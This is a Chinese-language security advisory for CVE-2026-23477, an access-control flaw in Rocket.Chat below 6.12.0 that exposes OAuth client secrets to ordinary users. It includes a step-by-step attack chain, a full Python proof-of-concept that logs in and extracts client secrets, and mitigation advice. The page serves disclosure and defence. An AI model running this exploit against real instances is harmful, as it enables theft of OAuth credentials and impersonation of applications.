IPBUF安全漏洞报告
English
CVE-2026-23477 CVSS 7.7 高危

CVE-2026-23477: Rocket.Chat OAuth应用敏感信息泄露漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-23477
漏洞类型
敏感信息泄露
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rocket.Chat

相关标签

敏感信息泄露越权访问OAuthRocket.ChatAPI安全信息泄露高危

漏洞概述

Rocket.Chat是一个开源、安全、完全可定制的通信平台,广泛应用于企业和团队的即时通讯需求。该平台提供了完整的聊天、文件共享、音视频通话等功能,并支持通过OAuth进行第三方应用集成。在Rocket.Chat 6.12.0之前的版本中,存在一个严重的安全漏洞:API端点GET /api/v1/oauth-apps.get对所有认证用户开放访问权限,而无需检查用户是否具有相应的管理权限或与该OAuth应用的关联关系。攻击者只需拥有一个普通用户账号,即可通过该端点获取平台中任意OAuth应用的敏感凭证信息,包括client_id和client_secret等关键字段。这些凭证信息通常用于第三方应用的身份验证和授权访问,一旦泄露,攻击者可以冒充合法应用进行钓鱼攻击、获取用户敏感数据或在用户授权的情况下执行恶意操作。该漏洞的CVSS评分为7.7,属于高危级别,机密性影响为高,影响范围覆盖所有使用受影响版本Rocket.Chat的组织。

技术细节

该漏洞属于典型的越权访问(Broken Access Control)漏洞,具体表现为API接口缺少合理的权限验证机制。在Rocket.Chat的OAuth应用管理模块中,GET /api/v1/oauth-apps.get端点本应仅允许具有OAuth应用管理权限的管理员用户访问,但实际实现中仅检查了用户是否已登录认证(Authentication),而未进行进一步的授权检查(Authorization)。攻击者利用此漏洞的步骤如下:首先,攻击者需要注册一个普通用户账号或获取已有账号的访问权限;然后,攻击者需要获取目标OAuth应用的ID,该ID可能是通过其他信息泄露途径或枚举方式获得;最后,攻击者构造恶意请求访问/api/v1/oauth-apps.get?id=<target_oauth_app_id>,即可获取该OAuth应用的完整信息,包括敏感的client_secret字段。由于client_secret是OAuth 2.0授权流程中的关键凭证,攻击者获取后可以伪装成合法应用,诱导用户授权并窃取访问令牌,进而访问用户在Rocket.Chat平台中的私有数据或执行未授权操作。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Rocket.Chat实例,并尝试注册普通用户账号或获取已有账号凭据
STEP 2
认证阶段
攻击者使用普通用户账号登录Rocket.Chat,获取有效的认证令牌(authToken)和用户ID
STEP 3
信息收集
攻击者通过枚举或其他泄露途径获取目标OAuth应用的ID
STEP 4
漏洞利用
攻击者构造GET请求访问/api/v1/oauth-apps.get?id=<target_id>端点,利用缺少授权检查的漏洞获取OAuth应用的敏感信息
STEP 5
凭证滥用
攻击者使用获取的client_id和client_secret伪装成合法OAuth应用,诱导用户授权并窃取访问令牌
STEP 6
数据窃取
攻击者利用窃取的访问令牌访问用户私有数据或执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-23477 PoC - Rocket.Chat OAuth Apps Information Disclosure # Target: Rocket.Chat < 6.12.0 # Endpoint: GET /api/v1/oauth-apps.get TARGET_URL = "http://target-rocketchat.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_OAUTH_APP_ID = "TARGET_OAUTH_APP_ID" def exploit(): # Step 1: Authenticate with the target Rocket.Chat instance session = requests.Session() login_url = f"{TARGET_URL}/api/v1/login" login_data = { "user": USERNAME, "password": PASSWORD } print("[*] Authenticating to Rocket.Chat...") response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return auth_data = response.json() if not auth_data.get('status') == 'success': print("[-] Authentication failed") return user_id = auth_data['data']['userId'] auth_token = auth_data['data']['authToken'] print(f"[+] Authenticated successfully. UserID: {user_id}") # Step 2: Request OAuth app information without proper authorization headers = { "X-Auth-Token": auth_token, "X-User-Id": user_id } oauth_url = f"{TARGET_URL}/api/v1/oauth-apps.get?id={TARGET_OAUTH_APP_ID}" print(f"[*] Requesting OAuth app information: {oauth_url}") response = session.get(oauth_url, headers=headers) if response.status_code == 200: oauth_data = response.json() if oauth_data.get('success'): app_info = oauth_data.get('oauthApp', {}) print("[+] OAuth App Information Retrieved:") print(f" Client ID: {app_info.get('clientId')}") print(f" Client Secret: {app_info.get('clientSecret')}") print(f" App Name: {app_info.get('name')}") print(f" Active: {app_info.get('active')}") return app_info else: print(f"[-] Request failed with status code: {response.status_code}") return None if __name__ == "__main__": exploit()

影响范围

Rocket.Chat < 6.12.0

防御指南

临时缓解措施
如果无法立即升级,可通过配置反向代理(如Nginx)添加基于IP或请求头的访问控制规则,限制只有管理员IP地址可以访问/api/v1/oauth-apps.get端点。同时建议审查现有OAuth应用列表,确认是否有异常访问记录,并考虑暂时禁用非必要的OAuth应用以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表